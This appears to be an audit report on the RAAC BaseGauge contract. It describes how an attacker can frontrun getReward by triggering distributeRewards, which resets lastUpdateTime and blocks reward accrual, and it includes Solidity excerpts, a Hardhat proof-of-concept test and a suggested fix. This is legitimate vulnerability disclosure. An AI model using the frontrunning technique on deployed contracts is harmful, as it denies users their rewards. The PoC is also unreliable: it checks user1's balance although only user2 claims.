Summary
During reward distribution from the GaugeController
to all gauges, BaseGauge::notifyRewardAmount
updates the lastUpdateTime
state variable. This variable is critical for reward calculations, as it determines the increase in user rewards since their last interaction with the gauge. However, an attacker can frontrun a user’s getReward
transaction by triggering a reward distribution. This resets lastUpdateTime
to the latest block.timestamp
, effectively blocking the user from claiming rewards.
Vulnerability Details
BaseGauge::notifyRewardAmount
:
function notifyRewardAmount(uint256 amount) external override onlyController updateReward(address(0)) {
if (amount > periodState.emission) revert RewardCapExceeded();
rewardRate = notifyReward(periodState, amount, periodState.emission, getPeriodDuration());
periodState.distributed += amount;
uint256 balance = rewardToken.balanceOf(address(this));
if (rewardRate * getPeriodDuration() > balance) {
revert InsufficientRewardBalance();
}
@> lastUpdateTime = block.timestamp;
emit RewardNotified(amount);
}
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L354-L367`
The function can only be called by the permissionless GaugeController::distributeRewards
, which allows an attacker to manipulate lastUpdateTime
.
lastUpdateTime
is used in BaseGauge::getRewardPerToken
, which determines the reward accumulation:
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}
https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/BaseGauge.sol#L568-L576
lastTimeRewardApplicable()
returns the smaller of periodFinish()
or the latest block.timestamp
function lastTimeRewardApplicable() public view returns (uint256) {
return block.timestamp < periodFinish() ? block.timestamp : periodFinish();
}
function periodFinish() public view returns (uint256) {
return lastUpdateTime + getPeriodDuration();
}
If an attacker frontruns the user’s getReward
transaction and resets lastUpdateTime
to block.timestamp
, the reward calculation will be:
rewardPerTokenStored + (block.timestamp - block.timestamp) * rewardRate * 1e18 / totalSupply()
Since (block.timestamp - block.timestamp) = 0
, the user’s reward increase would be 0
and the user won't get any reward.
PoC
describe("BaseGaugePoC", () => {
let raacGauge;
let gaugeController;
let veRAACToken;
let rewardToken;
let stakingToken;
let owner;
let user1;
let user2;
let user3;
let user4;
const WEIGHT_PRECISION = 10000;
const DAY = 24 * 3600;
beforeEach(async () => {
[owner, user1, user2, user3, user4] = await ethers.getSigners();
const MockToken = await ethers.getContractFactory("MockToken");
rewardToken = await MockToken.deploy("Reward Token", "RWD", 18);
veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
stakingToken = await MockToken.deploy("Staking Token", "STK", 18);
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(await veRAACToken.getAddress());
const currentTime = BigInt(await time.latest());
const duration = BigInt(7 * DAY);
const nextPeriodStart = ((currentTime / duration) + 2n) * duration;
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await stakingToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.FEE_ADMIN(), owner.address);
await raacGauge.grantRole(await raacGauge.EMERGENCY_ADMIN(), owner.address);
await rewardToken.mint(await raacGauge.getAddress(), ethers.parseEther("1000000000"));
await raacGauge.setBoostParameters(
25000,
10000,
7 * 24 * 3600
);
await gaugeController.addGauge(await raacGauge.getAddress(), 0, WEIGHT_PRECISION);
await raacGauge.setDistributionCap(ethers.parseEther("1000000"));
await raacGauge.setInitialWeight(5000);
});
it.only("blocks user from getting a reward", async () => {
await veRAACToken.mint(user1.address, ethers.parseEther("2"));
await stakingToken.mint(user1.address, ethers.parseEther("2"));
await veRAACToken.mint(user2.address, 10);
await gaugeController.connect(user2).vote(await raacGauge.getAddress(), 10000);
await stakingToken.connect(user1).approve(await raacGauge.getAddress(), ethers.parseEther("2"));
await raacGauge.connect(user1).stake(ethers.parseEther("2"));
time.increase(5 * DAY);
await gaugeController.connect(user2).distributeRewards(await raacGauge.getAddress());
await raacGauge.connect(user2).getReward();
const reward = await rewardToken.balanceOf(user1.address);
console.log("Reward claimed: ", reward);
expect(reward).to.be.equal(0);
})
Output:
BaseGaugePoC
Reward claimed: 0n
✔ blocks user from getting a reward (5491ms)
Impact
An attacker can continuously frontrun a user’s getReward
transaction, preventing them from claiming their rewards and disrupting the protocol’s reward distribution mechanism.
Keep in mind that this issue could appear in a regular behavior of the protocol.
Tools Used
Manual Research, VSCode
Recommendations
Modify BaseGauge::notifyRewardAmount
to avoid updating lastUpdateTime
in a way that affects reward calculations. If a timestamp update is necessary, introduce a separate variable to track distribution-related timestamps independently from reward accrual.